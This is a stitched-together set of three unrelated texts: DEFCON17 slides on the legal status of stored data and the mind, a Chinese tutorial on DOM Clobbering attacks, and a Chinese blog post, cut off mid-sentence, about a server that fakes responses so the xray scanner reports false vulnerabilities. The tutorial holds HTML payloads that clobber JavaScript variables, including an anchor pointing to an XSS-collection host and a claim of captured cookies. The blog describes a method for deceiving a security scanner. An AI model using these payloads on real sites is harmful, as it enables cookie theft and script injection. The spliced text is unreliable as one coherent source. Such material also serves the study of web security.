Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
12
Warrants are applicable to external,
small computing devices
•
Cell phones
•
PDAs
•
Car Computers (in most states)
•
Medical Devices
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
13
Fifth Amendment
“No person shall be held to answer for a capital, or otherwise infamous
crime, unless on presentment or indictment of a Grand Jury, except in
cases arising in the land or naval forces, or in the Militia, when in
actual service in time of War or public danger; nor shall any person be
subject for the same offense to be twice put in jeopardy of life or limb;
nor shall be compelled in any criminal case to be a witness against
himself, nor be deprived of life, liberty, or property, without due
process of law; nor shall private property be taken for public use,
without just compensation.”
•
You cannot be forced to incriminate
yourself
•
No such right in Canada
•
No such right at the border
•
Other jurisdictions?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
14
Consider the various ways in which the
law treats data…
…For now, just keep in mind data which
is stored in some way – not moving
through networks.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
15
Case One:
•
Data stored in a cloud based
application with servers in the USA
•
IE: Google doc
•
Search and seizure?
•
By other governments?
•
You are PWN3D
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
16
Case Two:
•
Data stored in an external backup
site with servers in the USA
•
IE: Amazon S3
•
Search and seizure?
•
By other governments?
•
You are PWN3D
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
17
Case Three:
•
Data stored on a rented server with
an ISP in the USA
•
IE: Rackspace
•
Search and seizure?
•
By other governments?
•
You are PWN3D
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
18
Case Four:
•
Data stored on an owned server
with an ISP in the USA
•
IE: local colocation provider
•
Search and seizure?
•
By other governments?
•
You are PWN3D
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
19
Case Five:
•
Data stored on an owned fileserver
located in your home in the USA
•
Search and seizure?
•
By other governments?
•
You are PWN3D
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
20
Case Six:
•
Data stored on an owned laptop
that is kept in your personal
possession in the USA
•
Search and seizure?
•
You are PWN3D
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
21
Case Seven:
•
Data stored on a
telecommunications device that is
kept in your personal possession in
the USA
•
Search and seizure?
•
You are PWN3D
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
22
Case Eight:
•
Data stored on a data storage media
that is kept in your personal
possession in the USA
•
Search and seizure?
•
You are PWN3D
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
23
Don’t be a fool – encrypt your data!
AES-1024 w/ 32768bit keys FTW!
…Ok – so what if you encrypt?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
24
Obfuscated or Encoded (rot13, base64, etc)
•
Commonly used as a legal ‘defense’ for
DCMA
•
Isn’t going to save you.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
25
Common off-the-shelf encryption
•
Commercial options: PGP, Ironkey,
others.
•
Non-Commercial options: GPG,
Truecrypt, etc.
•
You’ll give up the key.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
26
Personal / self-developed encryption:
•
One-time pad
•
You are Bruce Schneier
•
You’ll give up the algorithm and the
key.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
27
All of the above refers to data at rest…
…What happens if the data is in motion?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
28
Ok – that’s all great… you’re not making
me feel better about my data, but I
thought this talk was about my mind.
Lets just take a few minutes to tease
apart what you mean when you talk
about the difference between your
stored data and your mind.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
29
Before we launch in though – here’s a piece
of historical case law to think about…
The contents of your desk/briefcase/valise
– your “Personal Notes and Effects” have
some protections…
How does that fall apart in this brave new
world.
Where do you keep your memory?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
30
Pretend it’s still the ’90s.
1990's PDA - "Assistant" -- names, addresses,
phone numbers, relationships (PII of
others), your PII+aspirations, future
events, plans, etc.
Are we talking about “thoughts”/”memories”
or personal notes and effects?
Are alarm settings legally an agent?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
31
Pretend it’s finally the early 00’s.
Connected PDA – same as previous case
but has some replicated data-stores.
The replicated copies are held by a
corporation – is there an agency
relationship?
Does the corporation have rights to your
memory / knowledge?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
32
What about when the memory is not ‘to
remember something’ – but rather ‘to
do some action’?
How about a cron job or scheduled task?
Google Search Alerts?
This is less about data and more about
agency.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
33
When we transition from “remember
something” to “remember to do some
action”… there’s a natural extension to:
“Make a decision for me.”
This is getting really close to the legal
definition of agency.
We’re already doing this. My Outlook client
decides whether or not to accept meeting
invitations based on criteria that I give it.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
34
Is there a bright line we can draw to
distinguish your thoughts and
memories from those you’ve recorded?
…At what point does the
computer become a legal agent?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
35
How am I related to my:
» Computer
»
hardware – chattel
»
software – explicit license with multiple
corporations
» Data Storage
»
local - chattel
»
remote – contract with 3rd party
» Transmission Capability
»
direct – explicit license with the FCC
»
internet – contract with 3rd party
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
36
But is it even possible to “own” a
computer in the sense that I can own a
carrot?
If I’m not an owner but merely a
licensee, who really owns my
computer?
What the *&^#%!!!!!
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
37
…but if the computer isn’t “mine” in a
reasonable sense, can it still make
decisions that I am bound to?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
38
…is there any other situation where a
licensed non-entity can apparently
enter into contracts on behalf of a
natural person?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
39
Do I have an explicit or implicit contract
with my computer?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
40
Can a computer do these things and
somehow become legally “alive”?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
41
What does it take to become "legally" an
agent - for yourself or others?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
42
Can we map out a "cognitive ladder" that
one of these
data/computer/information systems
can climb towards legal maturity?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
43
We already have a set of cases which
describe the legal nature of less than
adult. Are computer-based agents
similar to children?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
44
Various "adult" ages:
» Age of Majority
» Age of License
» Age of Consent
» Age of Criminal Responsibility
All of these vary from 7 - 21
There's quite a gap there in terms of
capability or capacity for cognition.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
45
The other obvious place where the law
has considered the concept of
cognitive maturity as it relates to legal
maturity is in the case of mentally
handicapped adults.
Could a computer pass these tests?
What happens when ELIZA meets
Rainman.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
46
Do these cognitive agents represent your
thoughts?
If they do, they should have the same
protections as your mind.
But if they don’t…
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
47
What happens when…
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
48
You can move actual memory out of
your head and into a device.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
49
You’ve probably already done this with
some things…
•
Do you keep track of phone
numbers anymore?
•
What about important dates?
•
What are you doing next Thursday?
Let me just ‘borrow’ your phone – how’s
your memory now?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
50
Record of your actions or activities…
•
Are you establishing intent?
•
Can you ever take it back?
•
Your cell phone provider will turn
over text messages – sometimes
even without a subpoena.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
51
But I’m a hipster and I want to have
access to my memory everywhere –
I use Cloud Memory!!!
Who really controls your information?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
52
Prosthetic Memory
The Microsoft Research SenseCam
Proven successful in aiding memory
recall of Alzheimer's patients.
(image © Microsoft – from: http://research.microsoft.com/en-
us/um/cambridge/projects/sensecam/information.htm)
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
53
…but you actively chose to use all of
those things…
…you’ve done this to yourself…
…but what if you have no option?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
54
Medical prosthetics are no longer “dumb”
devices…
•
Pacemakers
•
Automatic Defibrillator (BH 2008-Kohno, Fu)
•
Insulin / Drug Pumps
•
Seizure Detection/Control
They include event loggers, wireless
communications, and vulnerability to
subpoena.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
55
Public Surveillance beyond the simple CCTV
Future Attribute Screening Technology
(FAST) assesses pre-crime thoughts.
FAST is grounded in research on human behavior and
psychophysiology, focusing on new advances in
behavioral/human-centered screening techniques. The aim
is a prototypical mobile suite (FAST M2) that would be used
to increase the accuracy and validity of identifying persons
with malintent (the intent or desire to cause harm).
Identified individuals would then be directed to secondary
screening, which would be conducted by authorized
personnel.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
56
How the USA Dept. of Homeland Security
views these things…
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
57
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
58
…Are your thoughts legible at a
distance?
…Are you ok with a blanket grant on
what you might be thinking?
…How do you control your biometry
data once it’s measured and taken by
others?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
59
Employers collecting biometric data on
employees – what does it reveal about your
thoughts?
•
FBI is collecting biometric data stored in
the Clarksburg, West Virginia facility
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
60
RFID + Security: Don't Mess With Las Vegas?
Third Eye has a new RF-based security system,
SATS (Security Alert Tracking System) based on a
wristband biosensor (from SPO Medical) that
monitors employee's heart rate.
If the rate suddenly increases, management is
alerted by an RF signal from the wristband.
The premise is that if a casino employee's heart
starts suddenly beating rapidly, they are likely
under stress. This could be due to some
emergency such as a robbery, or possibly
because the employee is planning a theft.
http://www.rfidgazette.org/security/
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
61
…Where is the boundary between
thoughts that are private and thoughts
that are available in the public realm?
Is the man with the magic box stealing my
soul?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
62
…So my thoughts can be made public
and can be used against me. At least
that's out of my control.
...What if my thoughts conspire against
me?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
63
…It's not like there's ever been software
written that had a flaw...
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
64
…and bad people like to exploit flaws in
computer software, and wouldn't mind
knowing what I'm thinking about...
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
65
…and since my computer is legally an
agent and can make binding decisions -
even contracts on my behalf...
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
66
…or the government could retroactively
declare some thought or memory as
illegal and prosecute me for it...
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
67
…thanks for scaring the crap outta me…
What can be done?
How can I protect myself?
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
68
James: IANALJASD
•
I am not a lawyer, just a security
dude.
Tiffany: IAALBNYL
•
I am a lawyer, but not your lawyer.
NOTE: If you follow this advice,
you’re likely safer, but you
can be screwed anyways.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
69
Practical measures for keeping your
thoughts safe while they are stored.
•
Keep them in your home.
•
Use encryption.
•
Don't give any cause to make them look hard.
Truecrypt hidden partitions are findable.
•
Store data in difficult to subpoena places.
•
Launch your own datastorage satellite.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
70
Practical measures for managing newly
forming cognitive agents.
•
Beware licensing.
•
Limit capability.
•
Resist the urge to join the digerati.
•
Work to maintain and improve digital civil
liberty and privacy legislation
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
71
The best advice is simple awareness that
your mind and your memory
isn't necessarily your own.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
72
In conclusion, we're asking you to do
your part to engage with the general
public, legislators and vendors. Help
them to understand that we may not
need entirely new ways of dealing with
what we're creating, but we MUST
consider the implications prior to
unleashing our new overlords.
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
73
» If you’re inspired by Carrie Underwood’s
Before He Cheats, don’t get caught doing
it on camera…
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
74
» Or if you happen to be in range of a FAST
camera, think nice thoughts…
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
75
» …or go into a database forever with the
caption “…There can be only one!”
associated with your legal name
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
76
Q & A
followup:
[email protected]
[email protected]
2009-08-02
Your Mind: Legal Status, Rights and Securing Yourself - DEFCON17
77
Thanks and Notices
Tiffany Strauchs Rad
Links:
http://www.tiffanyrad.com
http://www.tiffanyrad.blogspot.com
White paper with references on
Tiffanyrad.com
Thanks: My family, Hackerspaces crew, and
Nikita for her patience.
Inspirations: Nothingface, hackerish
children, EFF, Bard Coffee (Portland,
ME), European techno, and my
University of Southern Maine students.
James “Myrcurial” Arlen
Links:
http://myrcurial.com and
http://www.linkedin.com/in/jamesarlen
and sometimes
http://liquidmatrix.org/blog
Thanks: My Family, Friends, and
the DEFCON Team.
Inspiration: my lovely wife and hackerish
children, Coffee, Strattera, Club
Mate, Information Society, NIN,
altruism.
Constructed with: Apple Macbook Pro,
Firefox, Powerpoint, angst.
http://creativecommons.org/licenses/by-nc-sa/2.5/ca/ | pdf |
DOM Clobbering攻击学习
DOM Clobbering攻击其实算是比较老的攻击手法了,只是之前只知道最基本的dom-xss,没有去深入
了解过,今天看到相关文章觉得挺有意思,所以学习记录一下
概念
DOM破坏是一种将构造的特殊HTML代码注入到页面中以操纵DOM并最终更改页面上JavaScript行为的
技术。在无法使用XSS的情况下,DOM破坏尤其有用,可以在属性id或name被HTML过滤器列入白名单
的页面上控制某些HTML 。DOM破坏的最常见形式是使用锚元素覆盖全局变量,然后该全局变量将被应
用程序以不安全的方式使用,例如生成动态脚本URL。
相关知识
dom对windows对象的影响
首先下面这是个正常的弹窗功能的html代码:
然而有一个小知识就是在HTML里设定一个有id的元素之后,在JS里就能存取操作它
而因为JS的scope链,我们可以直接操作btn
<body>
<button id="btn">click me</button>
<script>
document.getElementById('btn')
.addEventListener('click', () => {
alert(1)
})
</script>
</body>
所以最开始的代码可以简化为:
不需要 getElementById等操作,他会自动一层层向上查询到windows对象
而除了id可以直接用windows直接存取操作外,还有四个tag用name也可以
DOM Clobbering
由以上我们可以得知我们可以根据特殊构造的HTML去影响JS原本的运行,这也是DOM破坏攻击的基本
构造一个留言板场景如下:
<body>
<button id="btn">click me</button>
<script>
btn.onclick = () => alert(1)
</script>
</body>
<embed name="test1"></embed>
<form name="test2"></form>
<img name="test3" />
<object name="test4"></object>
众所周知,现在的开发安全在服务端会写很多安全规则来过滤一些关键词来防御XSS,让你构造的恶意js
无法执行,使得XSS无效
但是由于一些功能的要求,比如插入图片等等,某些地方还是会支持正常的html语句,比如 <div> 、
<a> 等等
于是我们可以插入一个id是test_name的div标签通过if判断,再用a标签设置恶意payload
可以看到成功打到了cookie
用a标签构造的原因:
在toString时会回传url,并且可通过href属性来设置url,让其可控
所以DOM Clobbering攻击分两步走:
1. 用html构造含id属性的语句影响JS中的变量
2. 用a标签搭配href达到恶意攻击
不过这种攻击需要注意的一点就是如果攻击的变量以及被定义了,那么用DOM覆盖不掉:
多层级的 DOM Clobbering
<!DOCTYPE html>
<html>
<head>
<script>
TEST_MODE = 1
</script>
</head>
<body>
<div id="TEST_MODE"></div>
<script>
console.log(window.TEST_MODE) // 1
</script>
</body>
</html>
如果需要覆盖的对象由多个层级,有以下几个办法构造:
1. 利用HTML标签的层级关系
可以利用 form[name] 或是 form[id] 去拿它下层的元素,去构造多层DOM clobbering
这种情况就没有a标签不能直接用了
2. 特性:HTMLCollection
HTMLCollection 是 HTML 元素的集合。类似一个包含 HTML 元素的数组列表。
在Window对象窗口中确定命名属性名称的值的时候,如果对象只有一个元素,则返回该元素。
否则,返回以窗口的关联文档为根的HTMLCollection,该HTMLCollection的过滤器仅匹配名称为
window的命名对象。 (根据定义,这些都是元素。)
而我们可以利用 name 或是 id 去拿 HTMLCollection 里面的元素。
<!DOCTYPE html>
<html>
<body>
<form id="test">
<input name="a" />
<button id="b"></button>
</form>
<script>
console.log(test) // <form id="test">
console.log(config.a) // <input name="a" />
console.log(config.b) // <button id="b"></button>
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config"></a>
<script>
console.log(config) // HTMLCollection(2)
</script>
</body>
</html>
通过构造两个同id的标签创造出HTMLCollection,再用name来抓取HTMLCollection的特定元素,
达成双层的效果。
3. 把上面两种方法结合在一起就可以达到三层或四层的DOM Clobbering攻击
4. 利用 iframe 标签嵌套
给iframe一个name属性,这个name就能指向到iframe里面的windows
设置setTimeout = 500是因为iframe不是同步的,需要一些时间才能抓到iframe里面的东西
甚至可以嵌套创造更多层级:
<!DOCTYPE html>
<html>
<body>
<a id="config"></a>
<a id="config" name="apiUrl" href="https://xss8.cc/xxxx"></a>
<script>
console.log(config.apiUrl + '')
// https://xss8.cc/xxxx
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl) // <a id="apiUrl"></a>
}, 500)
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<iframe name="qxp" srcdoc='
实际攻击案例
通过DOM破坏GMail的AMP4Email中的XSS
BugPOC and Amazon XSS CTF writeup
payload会将 <a> 标签分组到一个DOM集合(HTMLCollect)中。然后,DOM破坏将fileIntegrity
使用此DOM集合覆盖引用。在最后一个锚点元素上使用了name属性,以破坏对象的value属性,
该属性fileIntegrity指向恶意值,因此它将绕过script标记的完整性验证
参考链接:
DOM破坏 | 网络安全学院
深入理解JS之Scope链
https://blog.techbridge.cc/2021/01/23/dom-clobbering/
https://html.spec.whatwg.org/#api-for-a-and-area-elements
https://portswigger.net/research/dom-clobbering-strikes-back
<form id="config"></form>
<form id="config" name="prod">
<input name="test" value="123" />
</form>
'></iframe>
<script>
setTimeout(() => {
console.log(qxp.config.prod.test.value) //123
}, 500)
</script>
</body>
</html> | pdf |
Koalrの沉思录
Posts
About
xray 终极反制实践
November 26, 2021 阅读时间:9 分钟
xray 得益于 Go 语言本身的优势,没有那么多不安全的动态特性,唯一动态是一个表达式引擎
(CEL),用的时候也加了各种类型校验,和静态代码没有什么区别了,因此基本不可能实现 RCE
之类的反制效果。那么我们换个思路,有没有办法让 xray 直接无法使用呢。
无法使用有两个表现,一个是让其直接崩溃掉,效果就是如果用 xray 扫描一个恶意 server,
xray 直接 panic 退出。xray 0.x.x 之前的某些版本确实有这种 bug,我当时耗费了很大的精力去
这个定位问题然后开心的修掉了,这里就不细说这个点了,因为版本太老说了也没有太大意义。
另一方面呢,想想之前比较热门的 CobaltStrike 反制,做法是设法取得 CS 的通信密钥然后模拟
其上线流量,Server 端会瞬间上线无数机器,使得 CS 无法正常使用。那么我们能否给 xray 喂
屎,使得它能瞬间扫出无数漏洞来让正常的扫描失效呢,我顺着这个思路做了一些探索,这篇文
章就来说下我在编写这样一个”反制“工具的过程中遇到的困难以及我是如何解决的。
入手
想让扫描器能扫出漏洞,只需要满足扫描器对一个漏洞的规则定义即可。xray 的 poc 部分是开源
的,意味着我们可以知道 xray 在扫描时是怎么发的包,以及什么样的响应会被定义为漏洞存在。
那么我们只要能定义一个 server ,让 server 按照 poc 中定义的的响应去返回数据,就可以欺骗
xray 让其认为漏洞存在!看一个最简单的例子:
1
2
3
4
5
6
7
rules:
r0:
request:
method: GET
path: /app/kibana
expression: response.status == 200 && response.body.bcontains(b".kibanaWelcomeVie
expression: r0()
在这个例子中,只要让 /app/kibana 这个路由返回.kibanaWelcomeView 并且状态码是 200,就能
扫出 poc-yaml-kibana-unauth 这个漏洞。这太简单了,我们只需要批量解析一下所有 poc,然后
基于规则构建一下返回的数据就可以了,事实的确如此,不过过程可能稍显曲折。来看下另一个
例子:
1
2
3
set:
rand1: randomLowercase(10)
rules:
4
5
6
7
8
9
10
11
12
13
14
15
16
17
r0:
request:
method: GET
path: /enc?md5={{rand1}}
expression: response.body.bcontains(bytes(md5(rand1)))
output:
search: 'test_yarx_(?P<group_id>\w+)".bsubmatch(response.body)'
group_id: search["group_id"]
r1:
request:
method: GET
path: /groups/{{group_id}}
expression: response.headers["Set-Cookie"].contains(group_id, 0, 8)
expression: r0() && r1()
这个例子复杂了亿点,其复杂性主要来自于这几方面:
1. 整体存在两条规则 r0() && r1() ,且两条规则都满足才行
2. path 中存在变量,无法直接将 path 作为路由使用
3. 第二条规则的 group_id来自于第一条规则的响应进行匹配得到的值,即两条规则存在联系
4. 对响应的判断没有使用常量,而是需要将变量经过部分运算后返回给扫描器才有效
可能有同学会问,实际的 poc 真有这么复杂吗,答案是有过之而无不及。这种逻辑复杂还有层级
关系的 poc 极大的阻碍了我们上面一把梭的想法。我们需要重新整理一下思路,寻找一下破局的
方法。
破局
yaml poc 中的 expression 部分用于漏洞存在性判断,它是一条规则在执行过程最终的终点,从
这里出发去寻找解决方案是一个不错的思路。 expression 部分是由 CEL 标准定义的表达式,下
面这些形式都是合法且常见的:
1
2
3
reponse.status != 201
response.header["token"] == "lwq"
reponse.body.bcontains(bytes(md5("yarx")))
需要反连的漏洞先不谈,宏观来讲一个响应我们可以控制的点只有4个:
状态码
响应头
响应体
响应时间
最后一个一般用于盲注检测的指标也暂时不看,其余三个就可以涵盖绝大部分的 yaml poc 的判
定规则。因此对于一条 expression,我们只需要确定下列三点就可以做自动化构建:
修改的位置(status,body,header)
修改方式(contains, matches, equals)
修改的值(body 或 header value 等)
那么如何对每条 expression 确定这三点呢?也许简单的 case 我们可以直接用正则匹配实现,但
正则解决不了诸如 reponse.body.bcontains(bytes(md5("yarx")))的情况,而这样的情况有很
多,因此为了降低复杂度。我从 AST 层面入手解决了这个问题。老生常谈的做法这里就不展开
了,经过一坨的遍历和分析之后,可以把表达式解析成下面的形式:
可以发现前两个的规则其实是静态的,这种静态规则我们可以在分析的时候就计算出正确的数
据,然后在响应返回即可。比较棘手的是第三个例子的情况,判断条件种包含了 r1这样一个变
量,这个变量由 xray 生成,在请求的某个角落被发送过来。换句话说,我们需要先获取到这个变
量的值,然后才能代入到表达式中计算获取最终的结果,那么怎么获取这个变量呢?举个栗子
1
2
3
4
5
6
7
set:
rand1: randomLowercase(8)
rules:
...
request:
path: /?a=md5({{rand1}})
expression: response.body.bcontains(bytes(md5(rand1)))
当上述 poc 被加载运行时,作为服务端会收到一个类似这样的 path: /?a=md5(abcdefgh) 这里的
abcdefgh 就是我们要获取的变量的值。聪明的你不难想到,我们只需要做一个正则转换就可以实
现这个目标(别忘了正则需要转义):
1
2
Origin: /?a=md5({{rand1}})
Regexp: /\?a=md5\((?P<rand1>\w+)\)
甚至基于randomLowercase(8) 这个上下文,我们可以写出一个更完美的正则:
1
2
Origin: /?a=md5({{rand1}})
Regexp: /\?a=md5\((?P<rand1>[a-zA-Z]{8})\)
基于这个思想,我们可以把请求的各个位置都变成正则表达式,这些正则将在收到对应的请求时
被执行,并将提取出的变量储存起来供表达式使用。可是,如何使用这些变量?
变量
变量是 poc 的利器,也是我们的绊脚石。不如就 ”以变制变“ 来解决变量带来的一系列问题。
我在解析表达式的时候没有分析到底,而是以下面的这些函数或者运算符作为终止条件,并记下
他们的参数。
=、!=
contains、bcontains
matches、bmatches
这样有什么好处呢,就是可以借助表达式的部分执行 (PartialEval) 来简化分析流程。比如
contains 的参数可能是这些
1
2
3
"SQL Admin"
md5("koalr")
substr(md5(r1), 0, 8)
如果我头铁去解析到底,这复杂度和重写一个表达式语言差不多了。我发现这些参数实际都是合
法的 CEL 表达式,当相关变量成功获取后,它们也可以被 CEL 正常执行。当表达式被执行后,它
便成为了我们最喜欢的常量类型,这种只执行参数的操作就被我定义为 PartialEval 。
1
2
3
"SQL Admin"
=> "SQL Admin"
md5("koalr")
=> "f2ebd1b28583a579fe12966d8f7c6d4b"
substr(md5(r1),0,8) => "210cf7aa" # if r1 = 'admin'
接下来,我们可以将每种函数或是运算符视为一种匹配模式。比如 contains 就是让参数直接包含
在响应里;再比如 matches 的参数应被视为一个正则,我们需要根据正则去生成一个假数据再填
充到响应里。
1
2
"response.header['token'] == 'yarx'" => resp.Header().Set('token', 'yarx')
"'ad[m]{2}in'.bmatches(resp.body)"
=> resp.Body.Write([]byte("admmin"))
这样每种模式都可以写成一个处理函数,其逻辑基本都是这样的流程:
1. 从多个地方获取变量的值
2. 把参数作为表达式执行,获取执行结果
3. 将参数做对应处理然后写入到响应
经过上面这些处理,我们就有了一堆分析好的处理函数, 离 xray poc 的逆解析又近了一步!
流程
新版的 xray 规则在最外层增加了一个 expression,可以借助它自定义执行流程,比如假设在
rules 部分定义了 4 个规则,那么 expression 可以任意的去构造:
1
2
3
4
5
6
7
8
rules:
r1: ...
r2: ...
r3: ...
r4: ...
expression: r1() && r2() && r3() && r4()
expression: (r1() && r2()) || (r3() && r4())
9
expression: r1() || (r2() && (r3() || r4()))
我们在编写 server 时也要符合这个定义才行,比如第一个要顺序执行4条规则且全部满足才可
以。而后面两个我们可以取个最短路径来简化逻辑,比如最后一个我们可以只满足 r1 即可,这其
实就是大家都学过的二叉树的深度问题,取最浅的一条能到达叶子节点的路径即可。
和执行流程相关的还有动态变量的问题,就是下面的这种情况:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rules:
r0:
request:
method: GET
path: /
expression: response.status == 200
output:
search: 'test_yarx_(?P<id>\w+)".bsubmatch(response.body)'
yarx_id: search["id"]
r1:
request:
method: GET
path: /{{yarx_id}}
expression: response.status == 200
expression: r0() && r1()
在这个例子中 r1 会用到 r0 的响应中的变量。这个乍看很复杂,不过稍加思考就会发现,服务端
的响应我们是完全可控的,因此我们可以将 r0 的响应在解析的时候就固定下来,xray 收到响应
一定会提取出和我们一样的变量值,所以后面用到该变量的地方也可以被直接替换成常量。对于
这个例子,如果固定生成的 id 是 deadbeef ,那么这个规则实际上变成了下面的写法,这样做不
仅简单了,还对减少下面要说到的路由冲突的问题有很大帮助。
1
2
3
4
5
6
7
8
9
10
11
12
rules:
r0:
request:
method: GET
path: /
expression: response.status == 200
r1:
request:
method: GET
path: /deadbeef
expression: response.status == 200
expression: r0() && r1()
缝合
经过了前面这么多的准备工作,我们终于可以开始着手编写服务端逻辑了,这其实就是把一堆的
处理逻辑缝合在一起的过程。缝合的方式很简单,就是基于路由去调用。路由信息在 poc 中已经
标明了,我们只需要将规则中的 method、path、header 等提取成一个唯一的特征,利用这个唯一
的特征可以映射到上面写的处理函数,进而走通流程。我起初以为这个很简单,没想到这个点耗
费了我编写这个项目最多的时间,其难点在于处理路由冲突,即有些情况下没法提取出唯一的特
征。
比如下面这两个 poc,他们请求部分完全相同仅仅是表达式的判断不同,请求可能会命中其中任
意一个规则进行处理,这就导致只能扫出其中的某一个漏洞。
我对这类情况的处理是做一次合并,合并后的规则会包含原有的两个规则的响应处理。由于 poc
中基本都是 contains 相关的处理,因此这种合并基本都是兼容的。当然,也有不兼容的情况,比
如:
这里的 status 就是不兼容的,我们不可能让一个响应既是 200 又是 401。除此之外,还有更棘
手的动态路由问题:
这些 poc 的路径过于简单又包含变量,导致诸如 /admin.php 的路径可能被任意一个匹配到,这
显然是不合理的。上面的两个问题困扰了我好久,我最开始是计划支持所有 xray poc 的检测的,
这个问题犹如心头刺让我很难受,挣扎几日之后最终承认当前版本下这是一个无解的问题。在此
过程中我尝试减少冲突的思路有:
动态变量的静态化
就是上面说到的 output 的处理过程
变量值的再确认
同一个变量在 poc 的一次运行中是不变的值,而变量可能在不同的规则中匹配出多次
调整路由顺序
我写了一个巨大的排序规则来让 server 运行前把路由排个序,比如没有变量的要好于有变
量的,path 长的好于 path 短的,包含 header 的好于不包含的以此来让静态路径优先匹配
添加层级判断
就是给 poc 的运行添加状态,比如第一个请求之后应该是第二个请求,如果第二个请求没
来那么第一个请求就不应该被处理
这些方法除了最后一个我都实现了,而且确实是有效。相比之下最后一点并非实现不了,而是由
于其不可避免的会影响并发扫描的效率被我去掉了。尽管用了这么多的 trick,但依然无法支持所
有的 poc 同时扫描,后面我也不再钻牛角,我决定将一些过于灵活的 poc 直接去掉不加载,这
个策略反而大幅提升了整体的检出率。
把上面的思想包装成代码,再稍微踩点坑就诞生了 https://github.com/zema1/yarx 这个项目。
截至到这篇文章写完时已经可以单端口瞬间检测出 280+ 漏洞(官方约 340个 poc),这个数据伴
随着后期的优化升级还会不断增加。
总结
我作为曾经的 xray 核心开发者做反制 xray 这种事看似有点过河拆桥,但其实 yarx 这反而有利
